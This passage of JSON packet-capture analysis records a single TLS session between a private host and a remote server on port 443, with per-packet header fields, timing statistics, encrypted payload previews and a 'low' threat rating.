\"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 38, \"timestamp\": 1784448497.414034, \"timestamp_iso\": \"2026-07-19T13:38:17.414034\", \"timestamp_human\": \"2026-07-19 13:38:17.414\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"216.58.201.197\", \"ttl\": 128, \"ip_id\": 35360, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63950, \"dst_port\": 443, \"tcp_seq\": 2755294633, \"tcp_ack\": 2455741068, \"tcp_window\": 8209, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 15, \"PSH\": 6, \"FIN\": 1}, \"packet_sizes\": [66, 54, 1843, 54, 54, 128, 146, 954, 54, 54, 85, 54, 54, 93, 54, 54], \"inter_packet_intervals\": [0.00019502639770507812, 0.004258871078491211, 9.94025206565857, 0.0001919269561767578, 0.1547229290008545, 0.03879523277282715, 0.14203786849975586, 0.19399189949035645, 0.046868085861206055, 0.07016706466674805, 0.08856987953186035, 7.009506225585938e-05, 0.04725289344787598, 0.8118569850921631, 0.00024700164794921875], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 11.539477825164795, \"avg_packet_size\": 237.5625, \"packets_per_second\": 1.3865445423455722, \"bytes_per_second\": 329.39098784097, \"min_packet_size\": 54, \"max_packet_size\": 1843, \"median_packet_size\": 54, \"avg_interval\": 0.769298521677653, \"min_interval\": 7.009506225585938e-05, \"max_interval\": 9.94025206565857}, {\"source\": \"216.58.201.197\", \"target\": \"10.152.152.11\", \"packet_count\": 16, \"total_bytes\": 11429, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"src_ports\": [443], \"dst_ports\": [63950], \"first_packet\": 1784448485.874576, \"last_packet\": 1784448497.413826, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1784448485.874576, \"timestamp_iso\": \"2026-07-19T13:38:05.874576\", \"timestamp_human\": \"2026-07-19 13:38:05.874\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455730513, \"tcp_ack\": 2755291707, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1784448485.879012, \"timestamp_iso\": \"2026-07-19T13:38:05.879012\", \"timestamp_human\": \"2026-07-19 13:38:05.879\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42965, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455730514, \"tcp_ack\": 2755293496, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 10, \"timestamp\": 1784448495.819001, \"timestamp_iso\": \"2026-07-19T13:38:15.819001\", \"timestamp_human\": \"2026-07-19 13:38:15.819\", \"size\": 4102, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"Padding\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42966, \"ip_len\": 4088, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455730514, \"tcp_ack\": 2755293496, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 12, \"timestamp\": 1784448495.819269, \"timestamp_iso\": \"2026-07-19T13:38:15.819269\", \"timestamp_human\": \"2026-07-19 13:38:15.819\", \"size\": 1377, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42969, \"ip_len\": 1363, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455734562, \"tcp_ack\": 2755293496, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 1323, \"payload_preview\": \"b2a09444f319333ff8c9569e41b6b1693d3ef82169e1b8a07f7515e7416926be6b36f1be242775005c46597469e5d3cd1de69161605d370617f9c1a5b825e69ca0998be2dd541ea1cace768f4137458cd9f7672af958d682d215436d8a433235d3bbcf064482ce61c0453b09b499c50f9258f0a18f4db2966a8eae29eb1f49b4771df7f66ed57d0c617442b91e55bd458bcae301ba318641e5d337d39a501bd3b4ac3da75284d1f012141bd5903ff57263b43b825f1bf5dda53660f8b3f34d034c98054e7ac52422c2bfc8e32697797d9fcf1512bf6c2bd52450743625e5dd466de044b95b177ee7dd9a7f9a788a695d571bbbb3cb3c862dae4ec131f7ad7f78224e57f865b60e8098f0f3a2ed7f39f2c1e63aaa56313b34e3904ff98866e12280c7d295dcf872e2bc1c0b13124038cb545206500e5265e6ae06e15ba3801f7430d63d9bba2975f81a6d0de2b281cb1778e468937e9ce43dc24d998737b41da54be35b2fdf62ed29ee26bf3e72aad82aafa080316e53570feb175bd988d00c3d89af311ae8b400f832d0ceb23db2a5bf4057e52b8c23cf28e3ec860ddedaf843034f74937d66a8cf37e90d6ccc37ac53fbe0f08b0ce33e322f4a928176ae4d59af3ab84d22a0c5b5a460a48bdce175184681647d6d499384ff209306e8eafd4a4c72bedc4ff2c062d966473abb70dc93a64e235d37fe5457e54580e6f9f6b64029617304e7feecef9ddc0fc21f14d2bc707544f4a9ccd755ee14a22699cc883bfad153eda3c85c03c820a7bd5f2b2367a542e9f410b5735bae8678955d1f3fb5c5ea4cdbf0f2d8054e12e3fb5e8d4020d6bef76ddc8b9e56a6ff1f170f8089f4f4526df5920ee00810291c2a0692df5261529be751397c68ee60e67be22cc377062d8388028f16e57a6d7c5091ae9d4d620436b4e67aef5d7abde080b415ee3578410cc3f8721cecdb693b2167376c951505fb9a45cdcf9cce9dc322e81aadda6384b217641c7d36788cbe48f12734e0fba111a5b57514aceee4bfbe0c0442510960700bd134913e3c8def039a132d586035d35604f2fefada0bc57c70e6b7a2c06b00f75bfcb55170fd9c414edd0f0b2e8e26dba299778b6b786c1e59d4a40ba64c1d48462e10979a64bfb07c7e36f27f782e3619455b3d0d7b47566fedb686c3add3168fc94b9a8b48c5f9b1a1f484adcb32c62d88318b80c5b202899cf14d30a650f94ae9e9e4ba90942b24c08dcb1e259037f9a6844a6fa1bc4b45db3f757429e7f0373525f7b2fc96f37a4196b9ab2c9e099fe5b06810b59e3e61bec3e9ceac62a91c866ed8d655d86101e04e261d14a18cbcd3c5457b861ef9520230e8ba349bd0b9ca2939bf350327b1f308f763278fb0bda67870bf5d84a2b89d49fbe2a87bbf8d37fc9e470c251a970e2daa62abca5682030b321a05ce4d5f8578c9c5173c5e51d28c9f384df03f99e0395f35d4d0cec38cc5bef80329ae9f747872d8c8a285d269055b6f78647a5053de3f6df7f1e4a5e9550becc0169c76bbe7679586e1fccde83666401a925dc4546744c6135b2f3336cfb4372837b8f9f73d34b7182466399e946e25f5f9673d152369402736f64863ed0fd1fd0f072cc2d4e63f2d20f712500e57591c6d61c5d5ff400fa8de029fa8dd15f1ba0033f52c56430b30c7af29b0ab35693ca90d268d8a25572d61f3406142e77b75ff51a906bd17c0ec23269bc22be75a453334daae1653591868942f4fab55b45392ea04f25bbb61747e48d62f4038848ed310bd135d73434412a15a8e36dd06d4d8b6c3fc3470eb5b711b66181f81f1df7f015cbd49ab1c650f176b05e7d09035aa7f85a71b609f3cfeef2b760bed5a75d8\", \"payload_ascii\": \"D\\u00193?VAi=>!i\\u007fu\\u0015Ai&k6$'u\\u0000\\\\FYti\\u001da`]7\\u0006\\u0017%T\\u001evA7Eg*X\\u0015CmC25\\u0006DaE;\\t\\u000fXMj)\\u001fIw\\u001dn}\\fatB\\u001eUE\\u00011A7P\\u001b=R\\u0012\\u0014\\u001b?rc;_\\u001b6`M\\u0003L\\u0005Nz$\\\"&y}\\u0015\\u0012l+$Pt6%FmD[\\u0017~\\u007fxi]W\\u001b<-N1\\u007fx\\\"NWe\\u000e\\u007f9:V1;4Of\\\"r\\u001c\\u000b\\u0013\\u0012@8TR\\u0006P\\u000eRe\\u0006[\\u001ft0=)u\\u001am\\r\\u0017xh~=M7\\u001dK[/b)&>r*1nSW\\u000f\\u0017[\\f=1\\u001a\\u00002=@W+#(\\rC\\u0003Ot}f7\\rl7S\\f>2/JvMY:M\\\"`u\\u0018Fd}mI \\u0006JLrObfG:pN#]7TWE@)as\\u0004\\u000f\\u001f\\u0014puDU\\u0014&;S\\\\\\u0003 _+#gB\\u0010s[x]\\u001f?L\\u0005N\\u0012^@ mV\\u001f\\u0017\\u000fRm\\u000e\\b\\u0010)\\u001c*\\u0006RaRQ9|h`{,w\\u0006-\\u0002\\u0016zm|PMb\\u00046z]z\\u00155xA\\fr\\u001ci;!g7l\\u0015\\u0005E\\\"\\u001ac\\u0017d\\u001c}6xH'4\\u0011u\\u0014\\f\\u0004BQ\\t`p\\u000b4><\\u0003\\u0013-X`5V\\u0004\\u000b|pk\\u0000[QpAN\\u000f\\u000b.&wkxl\\u001eY\\u000bL\\u001dHF.\\u0010d|~6\\u007fx.6\\u0019E[=\\r{GVo\\u0016KH2-1\\u0002M0PJ+$\\u001e%7JoKE?ut)75%zA,\\th\\u0010>ab\\u001cnUa\\u0001N&\\u001d\\u0014E{\\u001eR\\u000204)95\\u0003'\\bc'xp]I{7G\\f%\\u001a\\u000e-bV\\u0003\\u000b2\\u001a\\u0005M_x\\u0017<^Q8M?9_5\\u0003)txri\\u0005[oxdzPS?mU\\u000b\\u0016vg6f@\\u001a]TgD\\u0013[/367(7=4\\u0018$f9n%g=\\u0015#i@'6Hc\\u000f\\u000f\\u0007,?- \\u0012P\\u000eWY\\u001cma@\\u000f\\u0002\\u0015\\u00003,VC\\u000b0)5i<\\r&%W-a@aB{uQ\\u0006\\u0017#&+ZE34\\u0016SY\\u0018h/OUS\\u0004[at~H/@8\\u0010\\u0013]sCD\\u0012Z6\\u00064p[q\\u001bf\\u0018\\u001f\\u007f\\u0001\\\\I\\u001ce\\u000f\\u0017k\\u00055\\u007f\\u001b`<+v\\u000bZu\"}, {\"packet_number\": 15, \"timestamp\": 1784448495.974195, \"timestamp_iso\": \"2026-07-19T13:38:15.974195\", \"timestamp_human\": \"2026-07-19 13:38:15.974\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42970, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455735885, \"tcp_ack\": 2755293570, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 17, \"timestamp\": 1784448496.012976, \"timestamp_iso\": \"2026-07-19T13:38:16.012976\", \"timestamp_human\": \"2026-07-19 13:38:16.012\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42971, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455735885, \"tcp_ack\": 2755293662, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 19, \"timestamp\": 1784448496.155029, \"timestamp_iso\": \"2026-07-19T13:38:16.155029\", \"timestamp_human\": \"2026-07-19 13:38:16.155\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42972, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455735885, \"tcp_ack\": 2755294562, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 21, \"timestamp\": 1784448496.294019, \"timestamp_iso\": \"2026-07-19T13:38:16.294019\", \"timestamp_human\": \"2026-07-19 13:38:16.294\", \"size\": 542, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42973, \"ip_len\": 528, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455735885, \"tcp_ack\": 2755294562, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 24, \"timestamp\": 1784448496.349009, \"timestamp_iso\": \"2026-07-19T13:38:16.349009\", \"timestamp_human\": \"2026-07-19 13:38:16.349\", \"size\": 557, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42974, \"ip_len\": 543, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455736373, \"tcp_ack\": 2755294562, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 503, \"payload_preview\": \"82413c4e989a7c2635251386f8473c6572f3d772eb575c5b75a690f4a7c447498064ee852ac8d3a7f9f4e934487f297b2646144ee6a96ff5aa8ba7143d94bc8385f3535154f09734dfc8e0c3a2daedcab6f271cccc96410b9d1ab871a2ddf1bbfd325535b75e3b73acf25e546e9dae067ef2bd75fe10aef4f1a01fb2a014ddbdfdfea3806ec8964e453e07e7d0e56e1e9e5bbd9081808ecf73a07e39a515ad62795ccc3699a2c40a36abba740215e5a4015df22570224eea39e3ee2b84679b61b387b90a76c52c97561788e722f2be3982c535c679c7ed7072976dfd4dfc9ab7a16be8dd77e11ff78889d550673fb4b4b252ca80e735bcfb12dc5930d952b91a42b47ac4f534728dbb54c29744c6ecd8b794f3ab148d80935c498401551d7f200174610ac5be87aac1e97d62c4ef3db8a54e39898d652f82533a035da36ddc2f80c08efb9cb58a3c0bc23e9f737d6136c4a32ec6f30d26ac2b45bd3eadb8d37260fb91e48532e84a6b74fdb32fbffbb7dc689aaba9fa8d7c279c68364f7928f01bd009ae18d2094244bdc76fe6d49161e6135d339f96f8f898d11703030039726d34fbb781bd053e1e0aeea766eb46330f919865dfde4ca0afa86f0189cd0ff57c14695c22b42b01946f0115a7b3d28bcf117a388eb33d1d170303001affcdac12d3a57908f86c9563333b97030482ed5c0603e8e6be61\", \"payload_ascii\": \"A<N|&5%\\u0013G<errW\\\\[uGId*4H\\u007f){&F\\u0014No\\u0014=SQT4qA\\u000b\\u001aq2U5^;s^Tn\\u0006~u\\u0010\\u001f\\u0014nNE>\\u0007n\\u001e[s~9\\u0015by\\\\6\\n6t\\u0002\\u0015\\u0001]%p\\\"N9+ga\\nv,V\\u0017\\\"95yprmMkw\\u001fPg?R5\\u0012Y0R\\u001aBz4rTD\\u0014\\\\I\\u0001U\\u001d\\u007f \\u0001ta\\n}b=N9e/S:\\u0003]m/<\\u000b>s}a6.\\r&+E>r`2Jkt/h|'h6Oy(\\u001b\\t\\u0018\\tBDoa\\u0013]3\\u0017\\u0003\\u0003\\u00009rm4\\u0005>\\u001e\\nfF3\\u000feLo\\u0001\\u000f|\\u0014i\\\\\\\"+\\u0001o\\u0001\\u0015\\u0011z8=\\u001d\\u0017\\u0003\\u0003\\u0000\\u001a\\u0012y\\blc3;\\u0003\\u0004\\\\\\u0006\\u0003a\"}, {\"packet_number\": 27, \"timestamp\": 1784448496.466041, \"timestamp_iso\": \"2026-07-19T13:38:16.466041\", \"timestamp_human\": \"2026-07-19 13:38:16.466\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42975, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455736876, \"tcp_ack\": 2755294593, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 28, \"timestamp\": 1784448496.537591, \"timestamp_iso\": \"2026-07-19T13:38:16.537591\", \"timestamp_human\": \"2026-07-19 13:38:16.537\", \"size\": 542, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42976, \"ip_len\": 528, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455736876, \"tcp_ack\": 2755294593, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 29, \"timestamp\": 1784448496.554459, \"timestamp_iso\": \"2026-07-19T13:38:16.554459\", \"timestamp_human\": \"2026-07-19 13:38:16.554\", \"size\": 2974, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42977, \"ip_len\": 2960, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455737364, \"tcp_ack\": 2755294593, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2920, \"payload_preview\": \"f5dd6d9625e7c348b4a1b0eb3828f84f88706da38688a068d5016620c8cfb688e0c4a58c5f2822e847821c6b61513540c67e551322c5d5e8ed9f29788ca8cd7625cddff8c0e75842eefda7c1bdc9ea7ba8527e700928463064353352d5ed54c557fcfdaa38591fa9abe8d60020b6dcc79e350960459d9217b18d4b8dbbe437f2dbf22cb0cc64eb64063b5360ecc0ebc4b836ff8c07db2e4ecfe78675226094d9a261dea4b614a73601698769bb5208ce69a96de4207e6d94d594c268e2504bebc45e6772bce23d5bbc45e2522fa6b5ef3729bc251bc886068b04643b8b10a5046401d11f7bbc6f84c929f2989e0f21a2f3c16bd53a1060ae84b5a21b07a0bb4f0e8fe74fa8ab96516e743d15fda6ba3c4b60afcfac0342186abb3fe896a26b763fccc8de396dd89ba6bef6955ce4cd6b5fedc681ce671bb0c1be027cc886a069f006ab97c8a3952f687da5eea1f1dad639c48dee65172b6deed6658c3a46924c45e0ceeeefabacddc0ad89aff9f3aad756b5a8fdca71c308372b6134853bcd80aaafdb73178e496c56d41e4e63b9ab3cf9cded627f75eab0023b20a406a29c4b4a818eeb022e58a562e000e49b133ffcec07f9a8e8dbc5ba83c4fe390052a27005659c21099e3547a7b434272527bf12ee09c8db81f029cfbee216f9d31e65b7bd59d149867041c00005b10267c8201426445acf84cead0cf243cd835c9bf546301cbbf8ef9b22c0a7554126efdfe30c8a0d1b4f7c508765708631f320740f7ec2e8651f3aaf169513e16749b0e3cc04d259e3c0aa4bf44f4b0f83a839ad2a977a55b161a2abf49357ccacb4083fd916d46a8d46d7a2c8981b181ebe58b9e362aedda15119135e8904cc1df899ad0e0c79aa0504924c74bb03721643e3b35c65f57110857d2d0f8891c929bd749afe0a298e348720367e8cb6292d500ef93f08e069f5bb3becf96394fa28c4fe444c5b2f74f810785a83177038a8185a40ada91ac1a5f90189dbe4121fa2e605418acda2bb966b04307ac75f586865f822ddb4be49d1968cd50ec345d9876a9845dcc79c3255ae79733964eb09dd8a6f61f8290ab585dc1fa5327c59d650c0fbd0719901acdb573182803e79736c3c8288f6ef8252143368187d022172d06584fcb85cea27dee649def87297006aca63459fc0eac39dc8fc1fc7ca1639278392f3579d039f972923ee3ca117a6c52ac9fc0f13ff99c7ea310df153487fe59c2d7d4bd30db64bb46d4eaa642cb2df18e26b41889905dd8fff93ce58e5c19bf9de4340cf1703030573a59169d6370b56412aefbb1438a05e7f48637c78a6e3bf527a4c27a5ce7c5dd3acef3d900029affc49205f049bb13a956168768e80c292f39d5c197b312b534fce28bafc79c3ad25edbbddaa0dce630ce4ccab0491f5b2c3da05a1fd87ac8e9625ca9e7873ee844adb497e4e0ac69ec9fabd765e29601ee8a52dc6da251ce3f0c5719cf19f32cd3801706c4147f30c31faf40e1add3df997f3302c9409f50a0aa75e9a83bc2eb9f5fddc205b4ea06879d9edaa3eb71e9f69e19e8c06d1c2260a20db2b6557e62dee3c97322cdf8e3ca71d380e79b638efa535cb814553d9af5c9e7d9ad76aea0abaebbefbd47754aae0cdc453b5fc482ca0d60ad7953f471e57e6d6cc463ca758c2dccbea904c8da4f0a82a5ff9559a0ad94d56976678ed7a3043e0917b1786447b55fd5995f29162a64a9e1955bedfb37173d735b086ec3f85ccb5b93f072958861199be7a6ceba9d8e51a9ad54a1ad016d5880919588e73008117da0a316f1fd761ba68e7117f8a91f5c0c507ee427b220ce95c495b4f87bb70ef01639bdb8c28b934b6b10ad94a6100185b827176f98bef60dfc5f898ea5ec8f24c0747da737676817fb587dfac0bd9b85db9aa195f605daa3432d2418190ea5f87aa6fcd3560c012aa85b411e217b64d8efa7fadca260ea73c81315bee34c1e69aa36aacd68fb00a505245c3050c2a928f0777c95c2b5d3f73d71dafde014cf87db624f6339fbc953421e7c9541fb0cf8980f051d116c106d0b7dfd6a08875bb224a01a9ec67bbb524370510ff86f370a6c41260e0b134f0be995fd0f6b4a2c785472aea5edd53d30447dbc4c648141e5eddfc356a7cf419bdeaa3b7261f545792162f82fa3c437c4fda759877e144e093c587bd9da00fb811803e4346069a23398c790728e236dfe2cf96668809f557968557b3ec26c9f48da0d2f1578e1d281cb75c42c137d396e4a1550a046a69f534a4999c6f89dd34dd06ce2a79d4722951554690181078d145099989b311b23faefa7361ba9328e09b88fc1df127dfed467dfee7ac2e5c1a615e254711f805d65c73c65e7683b645264839329a3ff17401bde3fe49d745f5786fcca09e637bb51ba227ba7ab45670cfd3f14a96fd72b897bbe0bd43f886610f7d048d6d28a0a3f6165c80bef2f3a6a93a1a54ce07ca907addae62fded37c89ef11f1942bc6eb82c03c830ebb42e5c3fb9a33c8c4990cb26327fab7bf6722742cbf4f1940d71b0e833e3a30eaa0cb13931ae5296388250766ef9a6973bd29a2b642d4bd7ef490d30e5a88517a75607ed288abb990432fed9130ba429aa7c32c88e3d5e73cf6ead29fa6dbb4aa01633f1f65b920dfacfb7632c19866860a1d61c92a718629fe59d9528ef2c917f1077d8eb082aa3910ad84658ee92bb7b3b4a725f0fa25cb44b3f1b404dc1998a80f2e67079d0d2900793780170ef681461202b198259bd21bf9638f8be561d17353368ca713fff2cefdef1589f551cee16794b45954a9150cb603b9a5f0a323bd53b0f771bb1571a93445d53d305cbbd1610f8cfa4ba71fe7e7c30360b24c81dee66b34da3a8fc3fa09927f48601bc0bc837c9fb233979d262b2b8ce7bda0ca97c3ebae45ba1d147181dbae32815f480e9ecffdaf4b8ddd73b432cf7ad46a2a4288e6c33be3cea91ce3b52d8a038d75562b33b5739399e1f303e1ff776c29b2fdcbad31da24f48631af6514c9b191301f0f6c9e4221ad23a679ee971869c2d017c82f8f58be14249a7787fb06b0a95ae7d42e9ba7f98b4e1a65ad474ca5a8bf5c13010fa0c2594170f5dea98d8ad93cbe3730f460f06219522d8cbf3d0e8dc76af1f8470b48534c1f08131282cee0bf0279162c6e082aaa12acb8a96200e49b35731d582a213ff85536e81c9e5d3b0292a25dd438bf8806887edec0ce6f175b1c71f885e572f02e6af1440e528afc4bfd5d4037f576c5ad11ea90a170303034fe9b71f7e496c79c01aac7bae85572954a659fc7ceba86140d027af4aedc7f0cb820540edc946441eb89261ed2aacc1a702d1659854fae8a9909154dc78e0062966740324b9e0a006d74b2ca2bb8a98f5786c276297aa740947a0075e1e0783654e0250b29e1e017a7f67635005866ca06d5080838e6616634fced7fe32e78f5e3558da1cab95de98b54a9e7dc707360ae3efda389baf3839c19b0f6d51946fad31bb83eb7dda488780663ce0da8630a380cf4adce4a0dce3debd95a2e084d8137df32c44fb5c3b505173273c6e9c3368035f406407105fc5d84207df66ea758a4e63b94df561305034e51f03b426915a51e1761e2774bffa19e65eb707bb6d8045e344c591cfd9d9a891ed8041a79a99aa733d6ec1aa8940b1cd72f9b8df7a5c34349e01c7e582f0c655b4c1b93c0ba16ac60dfd8c310d2ccf2d9761a3aee1f8ec1014191b298eda8f288ff5c29b6b2344686129d045211e747182d32092578246aa7e6d4f4430570367c760cd7da800349e615be0f40faf1d2a1b5cd1c667748a96f3ed19ee31d38e262f122ec9787c812f28b90588c0f91a19496e4d53512c370e28b5b412496779fe002b18793a80d3dd2ce703faa01fd328382a4e72d8507a6d6a7f2757434fd7f63ec73cc8ea37720fe0f7356397c6ce052b5e9d8e44518344965eb615eb80dfbb2ce368c74bcf42245e726ab0141ab6801e0cbd158485e3a4a9c9306ec4736513d4dba245074316a28c3d4fb714d1df85f15bc46a212e13b255104e46f727117552b00870119fa6541fdc696fbf57fd6d255ba840d923a4d766bd8e3b5194d2bfaa71de224b1b7a625dd44d4989546cbcb4\", \"payload_ascii\": \"m%H8(Opmh\\u0001f _(\\\"G\\u001ckaQ5@~U\\u0013\\\")xv%XB{R~p\\t(F0d53RTW8Y\\u001f\\u0000 5\\t`E\\u0017K7,dd\\u0006;S`6\\u0007.Nu\\\"`a\\u00146\\u0001iiR\\bim ~mhPK^gr=[ER/7)%\\u001b\\u0006\\u0004d;\\u0010\\u0004d\\u0001\\u001f{o)\\u000f!k:\\u0010`\\u001b\\u0007O\\u000eOQnt=\\u0015<K`\\u0003B\\u0018j?kv?9m\\\\k_g\\u001b\\u0002|i\\u0006/h}9e\\u0017+me:FLEVq\\b7+a4;s\\u0017IlV\\u001eNc<b\\u007fu\\u0002; \\u0006KJ\\u0002.Xb\\u0000\\u0013?\\u00079\\u0000Rp\\u0005e!\\t5G4'%'\\u0012\\t)\\u0016\\u001eeYIpA\\u0000\\u0005\\u0002g \\u0014&DZ\\fC\\\\F0\\u001c\\\"UA&\\f\\r\\u001bO|Pep1 